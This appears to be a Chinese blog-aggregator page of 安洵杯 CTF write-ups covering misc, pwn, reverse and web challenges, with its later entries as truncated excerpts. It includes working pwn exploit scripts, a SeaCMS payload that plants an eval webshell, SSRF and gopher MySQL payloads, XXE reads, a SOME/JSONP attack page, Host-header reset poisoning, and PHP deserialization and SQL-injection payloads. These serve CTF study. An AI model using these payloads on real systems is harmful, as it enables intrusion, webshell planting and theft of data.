精华内容
下载资源
问答
  • 第一届安杯writeup

    千次阅读 2018-11-27 17:53:23
    第一届安杯writeup 线上赛混个第三名,跟着大佬们,躺进下线赛了。 MISC 这里是签到题 应高数高分大佬要求,签到题为下图: https://i.loli.net/2018/11/23/5bf7fef997715.jpg md5小写 例子:D0g3{21232f297a57a5a...

    第一届安洵杯writeup

    线上赛混个第三名,跟着大佬们,躺进下线赛了。

    MISC

    这里是签到题

    应高数高分大佬要求,签到题为下图:
    https://i.loli.net/2018/11/23/5bf7fef997715.jpg
    md5小写
    例子:D0g3{21232f297a57a5a743894a0e4a801fc3}
    格式
    D0g3{md5(幺元)}
    https://zhidao.baidu.com/question/1114204049719347299.html

    从最右边一列找一个元素,它所在行与表头的首行完全一致,即为左幺元,图中是c。
    从最上边一行找一个元素,它所在列与表头的首列完全一致,即为右幺元,图中是c。
    所以c是幺元。
    Md5©= 4a8a08f09d37b73795649038408b5f33
    D0g3{4a8a08f09d37b73795649038408b5f33}

    boooooom

    第一个压缩包,提示CRC爆破结果是纯数字,直接爆破
    里面三个文件,看了一下大概是要先解压password然后运行.py计算flag.zip的解压密码。
    然后crc32碰撞,直接爆破password.txt的内容

    for i in xrange(0,100000000):
    	buf = str(i).rjust(8,'0')
    	#print buf
        if zlib.crc32(buf) & 0xffffffff == 0x0cd95dac:
    		print '',buf
    


    然后再用.py跑

    import hashlib
    #f = open("password.txt",'r')
    #password = f.readline()
    password='08646247'
    b64_str = base64.b64encode(password.encode('utf-8'))
    hash = hashlib.md5()
    hash.update(b64_str)
    zip_passowrd = hash.hexdigest()
    print(zip_passowrd)
    


    再去解压flag.zip,解压出来一张图片
    改高度,先直接winhex改了过后图片直接崩了,然后绕了一会,结果就是该高度,winhex不对应该是crc的原因。用tweakPNG改

    修改高度为500

    可以看到flag了导出图片 提取文字完事。

    D0g3{a184929e2c170e2b7dc12eb3106f0a16}

    pwn

    Hiahiahia

    入门pwn,栈溢出到arg[0]
    check一下,有NX和canary

    Gdb调试下


    找到flag和arg[0]的地址算一下偏移

    #!/usr/bin/python
    from pwn import *
    context.log_level = 'debug'
    old_flag_addr = 0x4007a8
    new_flag_addr = 0x6007a8
    p = remote('149.248.7.48', 8888)
    p.recvuntil("Please find the flag!")
    #gdb.attach(p)
    #payload = "a"*0x218 + p64(new_flag_addr)
    payload = 'a'* 360 + p64(old_flag_addr)
    p.sendline(payload)
    flag = p.recv()
    print flag
    

    flag:D0g3{ccc_y0u_again_hiahiahia_}

    neko

    栈溢出,有system地址,leak libc。。。。
    去libcdb查版本 然后基本操作栈溢出

    #!/usr/bin/python
    from pwn import *
    EXE = "./neko"
    e = ELF(EXE)
    libc = e.libc
    io = remote('149.248.7.48',9999)
    system = e.plt["system"]
    puts = e.plt["puts"]
    puts_got = e.got["puts"]
    io.sendlineafter("cats?\n",'y')
    payload = "a" * 0xd4
    payload += p32(puts)
    payload += p32(0x080486E7)
    payload += p32(puts_got)
    io.sendafter("anchovies:\n",payload)
    io.recvline()
    base = u32(io.recv(4)) - 0x05f140
    binsh = base + 0x15902b
    payload = "a" * 0xd4
    payload += p32(system)
    payload += p32(binsh) * 2
    io.sendafter("anchovies:\n",payload)
    io.interactive()
    

    flag: D0g3{Wh0_Doe5n’t_1ik3_k1tt3ns??}

    web

    web1-无限手套

    提示输入NOHO
    测出来要求在7399999999到7400000000
    http://222.18.158.227:10580/?NOHO[]=d 数组绕过

    输密码

    发现是MD5加密后16进制转字符
    md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3

    想到了md5加密后再16进制转字符串后有单引号引起sql注入。以前做过md5 sql注入。
    http://222.18.158.227:10580/?NOHO[]=123
    POST:password=ffifdyop
    ffifdyop md5()加密-》276f722736c95d99e921722cf9ed621c -》再16进制转字符串为’or’6?]??!r,??b

    得到flag:
    e5e8b79aeb213ad6e0e4664e78aff61b
    D0g3{e5e8b79aeb213ad6e0e4664e78aff61b}

    web2

    Find The d0g3.php In Intranets
    http://222.18.158.227:10180/
    点了几个图后输入name提交后为
    http://222.18.158.227:10180/?url=111
    有url,提示

    The Intranets are in range 10.10.1.0/16
    那么d0g3.php就应该在内网
    那就从10.10.1.1开始找
    http://222.18.158.227:10180/?url=http://10.10.1.1/d0g3.php
    http://222.18.158.227:10180/?url=http://10.10.1.3/d0g3.php 返回404
    http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php
    找到了,在http://10.10.1.6/d0g3.php有200回显了

    提示GET d0g3参数。
    尝试了http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo();
    发现是个官方shell
    http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `ls`;
    打印当前目录,发现flag.txt
    直接读
    http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `cat flag.txt`;
    D0g3{SSRF_Is_So_Easy}

    only d0g3er can see flag

    http://138.68.2.14/seacms/
    查找poc getshell
    https://www.freebuf.com/vuls/150042.html
    http://138.68.2.14/seacms/search.php
    post:

    searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&&9[]=phpinfo();
    

    那就写shell吧

    searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_put_contents('a.php','<?php%20@eval($_POST[c])?>');
    

    提示.git泄露,用工具读出源码吧
    \data\ common.inc.php有配置信息

    菜刀直接连接数据库读取flag


    RDBnM3tUaGlzX2lzX3JlYWxfZmxhZ30=
    Base64解码:D0g3{This_is_real_flag}
    我要吐槽一下,出题人是想考什么?改了两次题。
    第一次题目的时候还有360防护…要我绕360吗?
    昨天晚上还是138.68.2.14/。上传shell后,数据库中没有flag数据库,D0g3数据库中也没有flag信息。/www/wwwroot/的shell目录中有.user.ini文件限制,我在绕open_basedir。但是也只能用glob伪协议读目录。但是flag数据库目录在/www/server/data/flag还有在 /www/backup/database/下有备份文件flag。也没研究过怎么在没有系统命令下还要绕open_basedir读文件。

    BOOM

    御剑扫目录
    后台登录地址:http://222.18.158.227:10080/admin/login.html
    题目是boom就直接爆破吧,看题目描述应该是绕过这个验证码,刷新数字变大,估计是时间戳生成。

    但是测了一下可以直接空等于空绕过,然后直接intruder爆破
    爆了很久的弱口令 结果是纯数字 很坑。

    登录拿flag

    D0g3{70e052657cb40cf142883abaff266fee}

    webN

    首页一个SRC界面,没什么用

    点礼品中心http://222.18.158.245:6080/reward.php点击购买

    发现用户可控jsonp

    看提示some攻击,翻文章
    https://paper.tuisec.win/detail/05c9c8b3e28bd2b
    https://www.freebuf.com/articles/web/169873.html
    点礼品中心http://222.18.158.245:6080/reward.php点击购买
    然后还提示联系客服,思路大概就是构造exp放vps上,发客服让机器人访问,子页面通过可控jsonp对父页面操作

    <iframe src="http://222.18.158.245:6080/reward.php" name=b></iframe>
            <iframe name=a></iframe>
            <script>
            window.frames[0].open('http://222.18.158.245:6080/confirm.php','a');
            setTimeout(
              function(){
                window.frames[1].location.href = 'http://222.18.158.245:6080/confirm.php?callback=window.opener.pay';
              }
            ,1000);
    </script>
    

    查日志发现flag

    D0g3{Same_Orig1n_Method_ExCute_1s_eAsy}

    Diglett

    http://54.200.169.99:7001
    查看源码:提示 index.php?hu3debug=1
    http://54.200.169.99:7001/index.php?hu3debug=1
    得到php源码

    <?php
        include_once "config.php";
        if (isset($_POST['url'])&&!empty($_POST['url']))
        {
            $url = $_POST['url'];
            if(preg_match('/file/',$url))
            {
                 echo "No hacker!";
                 echo "</br>";
            }
            $url2 = preg_replace('/file/','',$url);
            $content_url = getUrlContent($url2);
        }
        else
        {
            $content_url = "";
        }
        if(isset($_GET['hu3debug']))
        {
            show_source(__FILE__);
        }
    ?>
    

    利用curl读取文件。尝试url传入:file:///127.0.0.1/etc/passwd
    if(preg_match(’/file/’,$url)){echo “No hacker!”;echo “”;}
    虽然比较url是否有file关键字,但只是输出信息,没有结束。
    url2=pregreplace(/file/,,url2 = preg_replace(&#x27;/file/&#x27;,&#x27;&#x27;,url);
    preg_replace只是过滤一次file关键字,可双写绕过fifilele,得到file
    传入POST:url=fifilele://127.0.0.1/etc/passwd
    读config文件:url=fifilele://localhost/var/www/config.php

    <?php
    $hosts = "localhost";
    $dbusername = "test_user";
    $dbpasswd = "";
    $dbname = "test";
    $dbport = 3306;
    $conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
    function initdb($conn)
    {
    	$dbinit = "create table if not exists flag(secret varchar(100));";
    	if(mysqli_query($conn,$dbinit)) return 1;
    	else return 0;
    }
    function safe($url)
    {
    	$tmpurl = parse_url($url, PHP_URL_HOST);
    	if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    	{
    		var_dump($tmpurl);
    		die("<h1><p id='test1'>You are not the local!</p></h1>");
    	}
    	return $url;
    }
    function getUrlContent($url){
    	$url = safe($url);
    	$url = escapeshellarg($url);
    	$pl = "curl ".$url;
    	echo $pl;
    	$content = shell_exec($pl);
    	return $content;
    }
    initdb($conn);
    ?>
    

    知道了mysql的配置内容 gopher一波
    利用Gopherus工具生成exploit
    https://github.com/tarunkant/Gopherus

    gopher://127.0.0.1:3306/_%a8%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01

    D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}

    Magic Mirror

    不要被表象欺骗,钥匙就藏在数据包中
    http://222.18.158.227:10280/
    关键点在host Host Header欺骗
    点忘记密码,burp抓包,把host改为自己的vps,然后看日志

    会发重置密码的token,有效时间有点短,所以迅速复制进去改密码,然后登admin
    登录后有个输入框
    随便提交抓包

    <information><username>test</username></information>
    

    Xml格式 应该就xxe了
    Payload

    会发重置密码的token,有效时间有点短,所以迅速复制进去改密码,然后登admin
    登录后有个输入框
    随便提交抓包

    <information><username>test</username></information>
    

    Xml格式 应该就xxe了
    Payload

    外部实体注入 Filter协议读文件 记得base64读
    拿到flag.php
    PD9waHAKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CmVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0nNScgY29sb3I9J3JlZCc+IjsKZWNobyAiWW91IHdhbm5hIGNhcHR1cmUgdGhpcyBmbGFnPyI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiT2ggeWVzLCBoZXJlISI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiQnV0IG5vdywgIjsKZWNobyAiPGJyPjxicj4iOwplY2hvICJHZXQgb3V0ISI7CmVjaG8gIjwvZm9udD48L2NlbnRlcj4iOwovL2ZsYWc6IEQwZzN7SGlfRDBnM19SZXMzdF80bmRfeFhlfQoKCj8+Cg==
    解码

    <?php
    header("Content-Type: text/html;charset=utf-8");
    echo "<center><font size='5' color='red'>";
    echo "You wanna capture this flag?";
    echo "<br><br>";
    echo "Oh yes, here!";
    echo "<br><br>";
    echo "But now, ";
    echo "<br><br>";
    echo "Get out!";
    echo "</font></center>";
    //flag: D0g3{Hi_D0g3_Res3t_4nd_xXe}
    

    方舟计划

    http://222.18.158.227:10380/index.php
    又是买彩票。和之前的qctf一样。也是php弱类型的锅。
    POST传入{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}
    每次都能中$5000000,多买几次就能买flag了。
    Here is your flag: 想上飞船不仅仅是有钱就够了,你还得有智慧,解出这道题,你就可以获救了:一次RSA密钥对生成中,假设p=473398606,q=451141,e=17 求解出d

    python 已知p,q,e求rsa的d
    https://blog.csdn.net/zyxyzz/article/details/78205321

    # coding = utf-8
    def computeD(fn, e):
        (x, y, r) = extendedGCD(fn, e)
        #y maybe < 0, so convert it
        if y < 0:
            return fn + y
        return y
    def extendedGCD(a, b):
        #a*xi + b*yi = ri
        if b == 0:
            return (1, 0, a)
        #a*x1 + b*y1 = a
        x1 = 1
        y1 = 0
        #a*x2 + b*y2 = b
        x2 = 0
        y2 = 1
        while b != 0:
            q = a / b
            #ri = r(i-2) % r(i-1)
            r = a % b
            a = b
            b = r
            #xi = x(i-2) - q*x(i-1)
            x = x1 - q*x2
            x1 = x2
            x2 = x
            #yi = y(i-2) - q*y(i-1)
            y = y1 - q*y2
            y1 = y2
            y2 = y
        return(x1, y1, a)
    p = 473398606
    q = 451141
    e = 17
    n = p * q
    fn = (p - 1) * (q - 1)
    d = computeD(fn, e)
    print d
    

    求得150754621171553
    D0g3{150754621171553}

    Double-S

    签道题
    http://54.200.169.99:7000/
    源码泄露http://54.200.169.99:7000/www.zip代码审计

    <?php
    ini_set('session.serialize_handler', 'php');
    session_start();
    class Anti
    {
        public $info;
        function __construct()
        {
            $this->info = 'phpinfo();';
        }
        function __destruct()
        {
            eval($this->info);
        }
    }
    if(isset($_GET['aa']))
    {
        if(unserialize($_GET['aa'])=='phpinfo')
        {
        	$m = new Anti();
        }
    }
    else
    {
        header("location:index.html");
    }
    ?>
    
    http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo();";}
    

    通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

    由phpinfo()页面继续可知,session.upload_progress.enabled为On。

    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在SESSIONSessionUploadProgresssession_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。 传入_SESSION数据的,这里就利用到了反序列化问题。
    考虑序列化

    <?php
    class Anti
    {
        public $info='print_r(scandir(dirname(__FILE__)));';
    }
    $obj = new Anti();
    $a = serialize($obj);
    var_dump($a);
    ?>
    //O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}
    

    http://54.200.169.99:7000/session.php?aa=O:4:“Anti”:1:{s:4:“info”;s:36:“print_r(scandir(dirname(FILE)));”;}
    发现flag文件http://54.200.169.99:7000/f1ag_i3_h3re
    D0g3{Sim_Pl3_S3sSi0n}

    Hash!!!

    修改响应头
    Source改为1拿到源码

    要么cbc要么hash扩展 用hashpump

    Input Signature: c3ef608fdc59d9143c39664ade7556d5
    Input Data: D0g3
    Input Key Length: 20
    Input Data to Add: test
    5e38fe415ce2786f4ae79776038f53ee
    D0g3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00test
    

    将\x改为%,将POST的username改为D0g3,password改为

    D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00test
    

    cookie加入getflag: 5e38fe415ce2786f4ae79776038f53ee
    拿到flag:D0g3{h4sh_1s_s0_diffic1ut_t0_me}

    展开全文
  • 杯-game-wp

    2019-12-09 22:49:48
    杯2019逆向 链接:https://pan.baidu.com/s/1vICnEqYfSezXUiTJU6C9TA 提取码:d9m7 题目的文件和idb分析文件和写出的python文件都给出了 首先进入函数发现时ollvm, 这次的分析是直接看那个伪代码,比以前好很...

    game

    安洵杯2019逆向
    链接:https://pan.baidu.com/s/1vICnEqYfSezXUiTJU6C9TA
    提取码:d9m7
    题目的文件和idb分析文件和写出的python文件都给出了

    首先进入函数发现时ollvm,

    这次的分析是直接看那个伪代码,比以前好很多了,就简单写下分析的思路方法,然后后面的分析结果直接写成了python代码,同时的idb文件会同样在附赠文件中,

    分析思路

    撇开底层原理,只看我们做题来说ollvm这种东西一般都是可以看伪代码的,虽然可能看起来丑的很(我觉得平坦流这个汇编好看),就是根据一个变量被赋给的各种奇怪的值,来进行一次次的判定,然后决定程序的流程,

    我们想要做的就是恢复程序流程,标注打好这种简单一些的应该差不多:

    主要思路就是找到程序块,以内部存在一个if判定修改程序流程得程序块来确定为一个step,两个step之间走过的其他块都注释标在其中的step那一部分,然后每个step标注好123得顺序,捋完一遍注释好大概可以分析得到程序得流程,然后写出来同样流程得python脚本,对着逆,

    一个分析完了的blank_num函数如下:

    题目文件

    首先是main函数:
    在这里插入图片描述

    其中v4是函数blank_num函数得返回值,这个函数获取数组中得0得个数,然后v5获取是申请到的一片空间,trace函数调整了数列sudoku,而后面check函数并没有看到有什么作用,看着没修改参数,也没有返回值接收,内部也没修改啥内存,代码量也比较小估计是个真没啥用得函数,check1中操作修改了flag,然后check3函数就是输出一个对错,其内部调用的check2函数是关键判定函数,

    因为都是ollvm然后分析方法写出来了,我直接贴出来分析得到得结果,python重新写出来的程序流程:

    def check2():
    	v16 = []
    	for i in range(len(flag)):
    		v16.append(flag[v15] -48 )
            #这个位置其实是数字得char和int转化
    	for i in range(9):
    		for j in range(9):
    			if  dog3[9 * i + j] == 0:
    				dog3[9 *i + i] = v16[v13]
    				v13 += 1
                    #这里形成一个数独游戏得填入
    	for i in range(9):
    		for j in range(9):
    			if dog3[9 * i + j] != sudoku[9 * i + j]:
                    #注意这里
    				print("!!!")
    
    def check1():
    	v12 = len(flag)>>1
    	for i in range(len(flag)>>1):
    		(flag[i],flag[v12+1]) = (flag[v12+1],flag[i])
    		#前后两部分互换
    	for i in range(0,len(flag),2):
    		(flag[i],flag[i+1]) = (flag[i+1],flag[i])
    		#两位之间互换
    	for i in range(len(flag)):
    		flag[i] = ((flag[i]&0xf3)|(~flag[i]&0xc)) - 20
    
    

    注意到check2函数最后一个比较判定,要求每个数都一致,flag填入得是d3g0得数组,这个数独游戏得判定机制是生成一个正确的表,然后将填入后得直接对比,我们就直接动调,然后再这个位置可以直接找到这个数组,现在已经被填充好了,

    在这里插入图片描述

    我们保存下来,然后根据check1函数中对flag得处理逆向就好了:

    sudoku = [1, 4, 5, 3, 2, 7, 6, 9, 8, 8, 3, 9, 6, 5, 4, 1, 2, 7, 6, 7, 2, 8, 1, 9, 5, 4, 3, 4, 9, 6, 1, 8, 5, 3, 7, 2, 2, 1, 8, 4, 7, 3, 9, 5, 6, 7, 5, 3, 2, 9, 6, 4, 8, 1, 3, 6, 7, 5, 4, 2, 8, 1, 9, 9, 8, 4, 7, 6, 1, 2, 3, 5, 5, 2, 1, 9, 3, 8, 7, 6, 4]
    dog3 = [1, 0, 5, 3, 2, 7, 0, 0, 8, 8, 0, 9, 0, 5, 0, 0, 2, 0, 0, 7, 0, 0, 1, 0, 5, 0, 3, 4, 9, 0, 1, 0, 0, 3, 0, 0, 0, 1, 0, 0, 7, 0, 9, 0, 6, 7, 0, 3, 2, 9, 0, 4, 8, 0, 0, 6, 0, 5, 4, 0, 8, 0, 9, 0, 0, 4, 0, 0, 1, 0, 3, 0, 0, 2, 1, 0, 3, 0, 7, 0, 4]
    arr = []
    for i in range(81):
    	if sudoku[i] != dog3[i]:
    		tmp = ord(str(sudoku[i])) + 20
    		arr.append( tmp&0xf3 | ~tmp&0xc )
    print(arr)
    # print(len(arr))
    
    for i in range(0,40,2):
    	(arr[i], arr[i+1]) = (arr[i+1], arr[i])
    for i in range(20):
    	(arr[i],arr[i+20]) = (arr[i+20], arr[i])
    for i in range(40):
    	print(chr(arr[i]),end='')
    

    要特别注意那个~,取反运算符,这个一开始还没注意到,后来看到了以为不可逆,看了下二进制,发现似乎这个大运算就只是转换二进制34位上得数:

    tmp = ord(input())
    print(bin(tmp))
    print(bin(tmp & 0xf3))
    print(bin(~tmp & 0xc))
    print(bin((tmp & 0xf3)|(~tmp & 0xc)))
    print(((tmp & 0xf3)|(~tmp & 0xc)))
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Benho6RE-1575902730999)(rec/image-20191209220642463.png)]

    然后同样的运算是可逆的,而且脚本里面的一句ord(),这里是因为:

    在这里插入图片描述

    这个-48就是数字从char类型转化为int

    跑出来就是flag:KDEEIFGKIJ@AFGEJAEF@FDKADFGIJFA@FDE@JG@J

    展开全文
  • [安杯 2019]easy_serialize_php 点击链接,出现了php代码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|'...

    [安洵杯 2019]easy_serialize_php

    在这里插入图片描述
    点击链接,出现了php代码

     <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    } 
    

    啊,又是代码审计
    implode()
    implode(separator,array)函数返回由数组元素组合成的字符串。
    unset()
    删除变量或函数
    extract()变量覆盖
    extract() 函数从数组中将变量导入到当前的符号表。
    根据extract() 可以进行变量覆盖

    以此处为例,我们传入SESSION[flag]=123时,$ SESSION[“user”]和$ SESSION[‘function’] 全部会消失。
    在这里插入图片描述
    根据提示,我们可以从phpinfo()入手
    在这里插入图片描述
    在页面中我们发现了flag文件d0g3_f1ag.php
    在这里插入图片描述
    而且php后缀会被替换成空
    在这里插入图片描述

    然后就没什么思路了,换另一个页面看看
    在这里插入图片描述
    f=show_image是可以进行文件读取的,但是$ userinfo[‘img’]要注意是base64编码的形式,所以我们要读取d0g3_f1ag.php的内容,就要转换成base64编码形式ZDBnM19mMWFnLnBocA==
    传入的img,如果我们传入了img_path,就会经过sha1加密,如果我们没有传入img_path,那么后台将默认赋值为guest_img.png的base64编码。
    然后就也没啥了。。。我们继续代码审计吧
    我们可以看到它是先对$_SESSION进行了序列化,然后进行了过滤,最后又进行了反序列化
    过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题。。。
    参考了大佬的wp,有两种解决方式大佬在这
    1.值逃逸:这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

    <?php
    $_SESSION[user]=flagflagflagflagflagflag
    $_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
    ?>
    

    经过过滤机制后的反序列化代码如下

    <?php
    $_SESSION["user"]='";s:8:"function";s:59:"a';
    $_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
    $_SESSION["dd"]='a';
    ?>
    

    此时img里的内容就被替换成我们要读取的文件的base64编码形式
    (虽然但是,这里的dd还有a,我不是很理解)
    在这里插入图片描述
    在这里插入图片描述
    之后可以看到flag在/d0g3_fllllllag这个文件中,也是用同样的方法,写入/d0g3_fllllllag的base64编码形式L2QwZzNfZmxsbGxsbGFn即可(注意是/d0g3_fllllllag不是d0g3_fllllllag,在这卡了。。。)
    在这里插入图片描述

    2.键逃逸(大部分都是用的这个方法)
    利用的是extract()变量覆盖
    post:

    _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    

    在这里插入图片描述
    flagflag会消失~~,同样能够得到这个文件
    在这里插入图片描述

    _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
    

    在这里插入图片描述

    参考大佬博客:
    https://www.jianshu.com/p/8e8117f9fd0e
    https://www.cnblogs.com/h3zh1/p/12732336.html
    https://blog.csdn.net/a3320315/article/details/104118688/

    展开全文
  • 参考:安杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给出了这题的源码 漏洞分析 在图片上传处,check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致...

    这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入
    参考:安洵杯2019 官方Writeup

    1. 获取源码
      在网站首页存在一些信息
      在这里插入图片描述
      在gihtub找得到源码
      在这里插入图片描述
      BUU也给出了这题的源码
      在这里插入图片描述
    2. 漏洞分析
      在图片上传处,check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致了SQL注入,并且属于Insert注入。

    审计代码后可知,图片数据在保存的时候,会将图片的高度和宽度进行序列化然后保存。在查看图片信息的页面(show.php)会对其进行反序列化。

    我们需要通过SQL注入修改保存的信息中的序列化的值来利用。

    在helper.php中的helper类中有一个__destruct魔术方法可以利用,通过调用view_files中的file_get_contents来读取flag。

    反序列化payload:

    <?php
    class helper {
        protected $ifview = True; 
        protected $config = "/flag";
    }
    $a = new helper();
    echo serialize($a);
    ?>
    
    O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
    

    这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:

    O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
    

    (以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)

    正常上传图片的sql语句为:

    INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
    20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
    

    由于title处是我们能够控制的,所以构造文件名如下:

    1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
    

    因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
    在这里插入图片描述
    使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
    上传一张图片,修改filename
    在这里插入图片描述
    访问show.php
    在这里插入图片描述

    展开全文
  • [安杯 2019]easy_serialize_php 一这道题来学习一下php反序列化字符逃逸 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/...
  • 最近的安杯又看到laravel反序列化+字符逃逸,找人要了题拿出来舔一下,看题发现出题大哥一些链没完全堵死,总结下这类题和laravel中POP链接的挖掘过程 个人水平较差、文中错误内容还请师傅们指教纠正。 这类题的...
  • Trunk.ly CTO董谈架构

    2015-05-02 20:10:29
    Trunk.ly的后台搜索引擎的存储为例,到目前为止总共经历了4次大的变更,从最初的MySQL,到Sphinx,到Lucene和Solar,再到目前的HyperTable。每次修改都是因为我们知道我们遇到了哪些问题,又因为知道业界都有哪些...
  • [安杯 2019]easy_serialize_php 点进链接,发现一段PHP源码。 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('...
  • 将以上hex数据字节流形式写入文件 from binascii import * with open('md5-1.txt','r') as f: f = f.read() with open('md5-1','wb') as i: i.write(unhexlify(f)) with open('md5-2.txt','r') as f: f = f.read()...
  • 不能用ls但是用dir,看看flag在哪 接下来就是读flag 预期解(其中一个): sort命令 sort 命令将默认的方式将文本文件的第一列ASCII 码的次序排列,并将结果输出到标准输出。 读到flag 非预期: 过滤反斜杠 |\|\...
  • 这次参加2020安杯CTF,感觉题目都并不是很难,除了web题,但是要狠狠的吐槽这个平台,太无语了,一直挂一直掉,提交flag一直卡,时不时网站直接404,简直无语了,下次这样就不想打了,没心情打。还好,第一次参加...
  • 借助数字化成功转型的企业,普遍业务转型为导向建立战略格局,而非单纯新颖的技术工具或局部流程变革驱动。   朱骁认为, 数字化转型不仅仅是信息技术、物联网技术的应用,而是自上而下,从战略规划到实施的...
  • s:59:"a,读取这24个字符后”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为: array(3) { ["user"]=> string(24) "";s:8:"function";s:59:"a" [...
  • 1.easy_serialize_php-[安杯 2019]-[反序列化字符逃逸]-[关键词变少]-[传送门->BUUCTF] 第一步:打开题目环境,进入题目链接,代码审计 <?php $function = @$_GET['f']; //GET传参:f function ...
  • 然后发现该图片data元数据封装的方式放到了源码里 猜测可以通过此漏过获得index.php的源码 于是将img处参数设为经过两次base64编码和一次hex编码后的index.php 成功获得index.php源代码 <?php error_reporting...
  • tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:二进制的方式读取档案内容(不推荐) (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看(靶机测试不能用)...
